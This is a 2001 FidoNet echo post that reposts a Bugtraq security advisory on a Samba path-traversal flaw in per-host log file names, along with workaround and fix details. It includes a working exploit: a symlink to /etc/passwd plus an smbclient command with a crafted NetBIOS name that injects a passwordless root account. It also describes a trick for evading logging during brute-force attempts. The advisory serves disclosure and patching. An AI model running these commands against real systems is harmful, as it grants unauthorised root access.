|
ru.unix.bsd
- RU.UNIX.BSD ------------------------------------------------------------------
From : Andrey V. Pevnev 2:5020/400 25 Jun 2001 12:18:08
To : All
Subject : Samba security hole
--------------------------------------------------------------------------------
Всем привет!
Вот это было сёдня в багтраке, пора самбу апгрейдить...
** Please hold with approving this one before Monday, if possible.
** This is a forced release.
Author: Michal Zalewski <lcamtuf@razor.bindview.com>
Topic:
Insufficient parameter validation and unsafe default configuration
make numerous systems running samba SMB file sharing daemon vulnerable
to remote attacks.
Vulnerable platforms:
Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and 7.1. Confirmed
on 2.0.8.
Overview:
Due to insufficient NetBIOS computer name validation in incoming SMB
requests, in conjunction with default configuration found for example
in RedHat Linux and derivates, samba daemon allows remote attackers
to create SMB session log files (*.log) with highly attacker-dependent
contents outside outside logs directory. This vulnerability itself can
be used to perform DoS attacks, or, if combined with unprivileged local
access, can be used to gain superuser privileges.
On vulnerable platforms, by default, each SMB session is logged
to the file /var/log/samba/<netbios-name>.log. If the attacker is
connecting from 'FOOBAR', logs would be put in /var/log/foobar.log.
Unfortunately, NetBIOS name '../../../evil' would be accepted, as well,
creating /evil.log file.
This vulnerability is exploitable if the following setting is present
in smb.conf file:
log file = /var/log/samba/%m.log
...which is default on major Linux distributions, and probably few
other platforms, as well. On some systems, configuration might be
different:
log file = /usr/local/samba/var/log.%m
In the second case (e.g. FreeBSD), there is usually no way to exploit
this vulnerability.
Additionally, as noticed by Mark Loveless, using specific NetBIOS
names, like 'non/existing/dir', it is possible to avoid logging
of error messages (e.g. authentication failures) at all, which might be
very useful for performing brute-force attacks.
Note that any non-default configuration not using any prefix or
suffix (log- or .log) in log filename would be vulnerable to
instant remote compromise.
Exploit:
This is the scenario of local privilege escalation attack against
RedHat 7.x installation:
$ ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
-n ../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
should be returned).
$ su toor
#
Explaination of this attack is pretty trivial. Samba daemon tries
to access logfile for host introducing itself as '../../../tmp/x'.
This translates to open() on /var/log/samba/../../../tmp/x.log.
Thus, /tmp/x.log is opened in O_APPEND mode, following previously
created symlink to /etc/passwd.
Then, anonymous attempt to mount non-existing share named
"\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you
prefer, in /etc/passwd. Error message looks this way:
[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
Rejecting user 'lcamtuf': authentication failed
[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
../../../tmp/x (192.233.133.108) couldn't find service
toor::0:0::/:/bin/sh
The last line is, obviously, accepted by /bin/su or /bin/login.
Fix information:
As a temporary workaround, we suggest changing 'log file' setting,
as described above. This vulnerability has been confirmed by the
vendor, and is addressed there:
http://us1.samba.org/samba/whatsnew/macroexploit.html
Removing '%m' at all would protect against attackers trying to avoid
logging at all. Vendor was informed, fix will be publicly available
soon.
--
Best regards,
MSFU LAN Admin
Andrey mailto:andrey@mgul.ac.ru
http://www.mgul.ac.ru/~andrey
--- ifmail v.2.15dev5
* Origin: Moscow State Forestry University (2:5020/400)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
